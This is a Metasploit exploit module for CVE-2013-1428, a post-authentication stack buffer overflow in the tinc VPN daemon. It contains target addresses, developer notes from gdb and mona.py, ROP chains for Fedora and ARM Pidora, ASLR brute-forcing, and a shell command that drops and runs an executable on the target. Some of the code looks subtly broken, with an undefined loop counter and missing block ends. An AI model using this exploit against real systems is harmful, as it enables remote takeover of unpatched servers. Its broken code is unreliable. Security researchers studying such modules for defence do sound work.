Tincd – (Authenticated) Remote TCP Stack Buffer Overflow (Metasploit)

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

require 'securerandom'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::EXE

include Msf::Exploit::Remote::TincdExploitClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',

'Description' => %q{

This module exploits a stack buffer overflow in Tinc's tincd

service. After authentication, a specially crafted tcp packet (default port 655)

leads to a buffer overflow and allows to execute arbitrary code. This module has

been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7

(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of

FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works

for all versions <= 1.1pre6.

A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to

be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd

was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module

it was recommended to the maintainer to start using DEP/ASLR and other protection

mechanisms.

},

'Author' =>

[

# PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module

'Tobias Ospelt <tobias[at]modzero.ch>', # @floyd_ch

# original finding, python PoC crash

'Martin Schobert <schobert[at]modzero.ch>' # @nitram2342

],

'References' =>

[

['CVE', '2013-1428'],

['OSVDB', '92653'],

['BID', '59369'],

['URL', 'http://www.floyd.ch/?p=741'],

['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'],

['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428']

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process'

},

'Payload' =>

{

'Space' => 1675,

'DisableNops' => true

},

'Privileged' => true,

'Targets' =>

[

# full exploitation x86:

['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],

['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],

['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],

['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {

'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 }

],

['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {

'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 }

],

['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],

['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],

# full exploitation ARM:

['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', {

'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 }

],

['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', {

'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 }

],

# crash only:

['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],

['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],

['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],

['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]

],

'DisclosureDate' => 'Apr 22 2013', # finding, msf module: Dec 2013

'DefaultTarget' => 0))

register_options(

[ # Only for shellcodes that write binary to disk

# Has to be short, usually either . or /tmp works

# /tmp could be mounted as noexec

# . is usually only working if tincd is running as root

OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),

OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),

OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])

], self

)

end

def exploit

# #

# x86

# #

# WINDOWS XP and 7 full exploitation

# Simple, we only need some mona.py magic

# C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"

# !mona config -set workingfolder c:\logs\%p

# !mona pc 1682

# --> C:\logs\tincd\pattern

# !mona findmsp

# Straight forward, when we overwrite EIP the second value

# on the stack is pointing to our payload.

# !mona findwild -o -type instr -s "pop r32# ret"

# FREEBSD full exploitation

# Same offset as windows, same exploitation method

# But we needed a new pop r32# ret for the freebsd version

# No mona.py help on bsd or linux so:

# - Dumped .text part of tincd binary in gdb

# - Search in hex editor for opcodes for "pop r32# ret":

# 58c3, 59c3, ..., 5fc3

# - Found a couple of 5dc3. ret = start of .text + offset in hex editor

# - 0x0804BABB works very well

# UBUNTU crash only

# Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because

# the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known

# at compile time. gcc is introducing a call to __memcpy_chk:

# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c

# memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print

# *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed

# from the repository. It might be exploitable for versions compiled with an older version of gcc.

# memcpy_chk seems to be in gcc since 2005:

# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c

# http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

# OPENSUSE

# OpenSuse 11.2

# Installation as described on the tincd website. For 11.2 there are two versions.

# Decided for 1.0.16 as this is a vulnerable version

# wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm"

# rpm -i tinc-1.0.16-3.1.i586.rpm

# Again, strace shows us that the buffer overflow was detected (see Ubuntu)

# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51

# So a crash-only non-exploitable bof here. So let's go for manual install:

# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'

# yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install

# Exploitable. Let's see:

# tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means:

# the offset to pop ebp; ret is 0x0804b07f

# FEDORA

# Fedora 16

# yum has version 1.0.19

# yum install tinc

# Non-exploitable crash, see Ubuntu. Strace tells us:

# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51

# About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23

# Manual compile went on with Fedora 19

# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'

# yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install

# Don't forget to stop firewalld for testing, as the port is still closed otherwise

# # hardening-check tincd

# tincd:

# Position Independent Executable: no, normal executable!

# Stack protected: no, not found!

# Fortify Source functions: no, only unprotected functions found!

# Read-only relocations: yes

# Immediate binding: no, not found!

# Running this module with target set to Windows:

# Program received signal SIGSEGV, Segmentation fault.

# 0x0041caa6 in ?? ()

# well and that's our windows offset...

# (gdb) info proc mappings

# 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd

# After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we

# can try to execute the payload on the stack, but:

# (gdb) stepi

# Program received signal SIGSEGV, Segmentation fault.

# 0x08e8ee08 in ?? ()

# Digging deeper we find:

# dmesg | grep protection

# [ 0.000000] NX (Execute Disable) protection: active

# or:

# # objdump -x /usr/local/sbin/tincd

# [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4

# filesz 0x00000000 memsz 0x00000000 flags rw-

# or: https://bugzilla.redhat.com/show_bug.cgi?id=996365

# Time for ROP

# To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode

# as a pointer to instructions). Was lucky after some searching:

# (gdb) x/10i 0x4d10ee87

# 0x4d10ee87: pop %ebx

# 0x4d10ee88: mov $0xf5d299dd,%eax

# 0x4d10ee8d: rcr %cl,%al

# 0x4d10ee8f: pop %esp

# 0x4d10ee90: ret

# ARCHLINUX

# archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile:

# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'

# pacman -S gcc zlib lzo openssl make && ./configure && make && make install

# Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000

# -->Ret: 0x8065929

# No NX protection, it simply runs the shellcode :)

# #

# ARM

# #

# ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi

# Although this is more for the interested reader, as Pidora development

# already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs

# meaning it's an ARMv6 architecture

# yum has fixed version 1.0.21, so went for manual compile:

# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'

# yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install

# Is the binary protected?

# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh

# # ./checksec.sh --file /usr/local/sbin/tincd

# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE

# No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd

# so again NX... but what about the system things?

# cat /proc/sys/kernel/randomize_va_space

# 2

# --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment.

# This is the default setting."

# Here some examples of the address of the system function:

# 0xb6c40848

# 0xb6cdd848

# 0xb6c7c848

# Looks like we would have to brute force one byte

# (gdb) info proc mappings

# 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd

# 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd

# When we exploit we get the following:

# Program received signal SIGSEGV, Segmentation fault.

# 0x90909090 in ?? ()

# ok, finally a different offset to eip. Let's figure it out:

# $ tools/pattern_create.rb 1676

# Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get:

# (gdb) break *0x9000

# Breakpoint 1 at 0x9000

# See that our shellcode is *on* the stack:

# (gdb) x/10x $sp

# 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698

# 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode

# 0xbee14328: 0xe3a02006 0xe3a07001

# let's explore the code we can reuse:

# (gdb) info functions

# objdump -d /usr/local/sbin/tincd >assembly.txt

# while simply searching for the bx instruction we were not very lucky,

# but searching for some "pop pc" it's easy to find nice gadgets.

# we can write arguments to the .data section again:

# 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS

# The problem is we can not reliably forecast the system function's address, but it's

# only one byte random, therefore we have to brute force it and/or find a memory leak.

# Let's assume it's a restarting daemon:

# create /etc/systemd/system/tincd.service and fill in Restart=restart-always

# ARM Debian Wheezy on qemu

# root@debian:~# apt-cache showpkg tinc

# Package: tinc

# Versions:

# 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages)

# nice, that's vulnerable

# apt-get install tinc

# apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf

# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh

# # ./checksec.sh --file /usr/sbin/tincd

# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE

# Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd

# Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here

packet_payload = payload.encoded

# Pidora and Fedora/ROP specific things

if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/

rop_generator = nil

filename = rand_text_alpha(1)

cd = "cd #{datastore['BINARY_DROP_LOCATION']};"

cd = '' if datastore['BINARY_DROP_LOCATION'] == '.'

if target.name =~ /Pidora 18/

print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18')

print_status('This requires a restarting tincd daemon!')

print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore')

rop_generator = method(:create_pidora_rop)

elsif target.name =~ /Fedora 19/

print_status('Using ROP to defeat NX on Fedora 19')

rop_generator = method(:create_fedora_rop)

end

if target.arch.include? ARCH_CMD

# The CMD payloads are a bit tricky on Fedora. As of december 2013

# some of the generic unix payloads (e.g. reverse shell with awk) don't work

# (even when executed directly in a terminal on Fedora)

# use generic/custom and specify PAYLOADSTR without single quotes

# it's usually sh -c *bla*

packet_payload = create_fedora_rop(payload.encoded.split(' ', 3))

else

# the binary drop payloads

packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator)

if packet_payload.length > target['offset']

print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version")

packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)

vprint_status("Achieved version with #{packet_payload.length} bytes")

end

if packet_payload.length > target['offset']

fail_with(Exploit::Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")

end

injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')

vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")

if target.name =~ /Pidora 18/

# we have to brute force to defeat ASLR

datastore['BRUTEFORCE_TRIES'].times do

print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)")

setup_ciphers

print_status('Telling tinc exploit client to connect, handshake and send the payload')

begin

send_recv(injection)

rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error

print_error(runtime_error.message)

print_error(runtime_error.backtrace.join("\n\t"))

rescue Rex::ConnectionRefused

print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')

sleep(3)

secs = datastore['WAIT']

print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")

sleep(secs)

end

print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")

else

# Setup local ciphers

print_status('Initializing tinc exploit client (setting up ciphers)')

setup_ciphers

# The tincdExploitClient will do the crypto handshake with the server and

# send the injection (a packet), where the actual buffer overflow is triggered

print_status('Telling tinc exploit client to connect, handshake and send the payload')

send_recv(injection)

end

print_status('Exploit finished')

end

def get_cmd_binary_drop_payload(filename, cd, rop_generator)

elf_base64 = Rex::Text.encode_base64(generate_payload_exe)

cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"]

vprint_status("You will try to execute #{cmd.join(' ')}")

rop_generator.call(cmd)

end

def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)

elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe))

cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"]

vprint_status("You will try to execute #{cmd.join(' ')}")

rop_generator.call(cmd)

end

def create_pidora_rop(sys_execv_args)

sys_execv_args = sys_execv_args.join(' ')

sys_execv_args += "\x00"

aslr_byte_guess = SecureRandom.random_bytes(1).ord

print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)")

# Gadgets tincd

# c714: e1a00004 mov r0, r4

# c718: e8bd8010 pop {r4, pc}

mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V')

pop_r4_ret = [0x0000c718].pack('V')

# 1cef4: e580400c str r4, [r0, #12]

# 1cef8: e8bd8010 pop {r4, pc}

# mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V')

# bba0: e5843000 str r3, [r4]

# bba4: e8bd8010 pop {r4, pc}

mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V')

# 13ccc: e1a00003 mov r0, r3

# 13cd0: e8bd8008 pop {r3, pc}

pop_r3_ret = [0x00013cd0].pack('V')

# address to start rop (removing 6 addresses of garbage from stack)

# 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc}

# start_rop = [0x00015cb4].pack('V')

# see target Ret

# system function address base to brute force

# roughly 500 tests showed addresses between

# 0xb6c18848 and 0xb6d17848 (0xff distance)

system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V')

# pointer into .data section

loc_dot_data = 0x0002b3f0 # a location inside .data

# Rop into system(), prepare address of payload in r0

rop = ''

# first, let's put the payload into the .data section

# Put the first location to write to in r4

rop += pop_r4_ret

sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i|

# Give location inside .data via stack

rop += [loc_dot_data + i * 4].pack('V')

# Pop 4 bytes of the command into r3

rop += pop_r3_ret

# Give 4 bytes of command on stack

if argument_part.length == 4

rop += argument_part

else

rop += argument_part + rand_text_alpha(4 - argument_part.length)

end

# Write the 4 bytes to the writable location

rop += mov_to_r4_addr_pop_r4_ret

end

# put the address of the payload into r4

rop += [loc_dot_data].pack('V')

# now move r4 to r0

rop += mov_r0_r4_pop_r4_ret

rop += rand_text_alpha(4)

# we don't care what ends up in r4 now

# call system

rop += system_addr

end

def create_fedora_rop(sys_execv_args)

# Gadgets tincd

loc_dot_data = 0x80692e0 # a location inside .data

pop_eax = [0x8065969].pack('V') # pop eax; ret

pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret

pop_ecx = [0x804e113].pack('V') # pop ecx; ret

xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret

# <ATTENTION> This one destroys ebx:

mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret

# </ATTENTION>

# Gadgets libcrypto.so.10 libcrypto.so.1.0.1e

xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret

# xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret

# inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret

# Gadgets libc.so.6 libc-2.17.so

pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret

int_80 = [0x4b6049c5].pack('V') # int 0x80

# Linux kernel system call 11: sys_execve

# ROP

rop = ''

index = 0

stored_argument_pointer_offsets = []

sys_execv_args.each_with_index do |argument, argument_no|

stored_argument_pointer_offsets << index

argument.scan(/.{1,4}/).each_with_index do |argument_part, i|

# Put location to write to in eax

rop += pop_eax

# Give location inside .data via stack

rop += [loc_dot_data + index + i * 4].pack('V')

# Pop 4 bytes of the command into ecx

rop += pop_ecx

# Give 4 bytes of command on stack

if argument_part.length == 4

rop += argument_part

else

rop += argument_part + rand_text_alpha(4 - argument_part.length)

end

# Write the 4 bytes to the writable location

rop += mov_to_eax_addr

end

# We have to end the argument with a zero byte

index += argument.length

# We don't have "xor ecx, ecx", but we have it for eax...

rop += xor_eax_eax

rop += xchg_ecx_eax

# Put location to write to in eax

rop += pop_eax

# Give location inside .data via stack

rop += [loc_dot_data + index].pack('V')

# Write the zeros

rop += mov_to_eax_addr

index += 1 # where we can write the next argument

end

# Append address of the start of each argument

stored_argument_pointer_offsets.each do |offset|

rop += pop_eax

rop += [loc_dot_data + index].pack('V')

rop += pop_ecx

rop += [loc_dot_data + offset].pack('V')

rop += mov_to_eax_addr

index += 4

end

# end with zero

rop += xor_eax_eax

rop += xchg_ecx_eax

rop += pop_eax

rop += [loc_dot_data + index].pack('V')

rop += mov_to_eax_addr

rop += pop_ebx

rop += [loc_dot_data].pack('V')

rop += pop_ecx

rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V')

rop += pop_edx

rop += [loc_dot_data + index].pack('V')

# sys call 11 = sys_execve

rop += pop_eax

rop += [0x0000000b].pack('V')

rop += int_80

end

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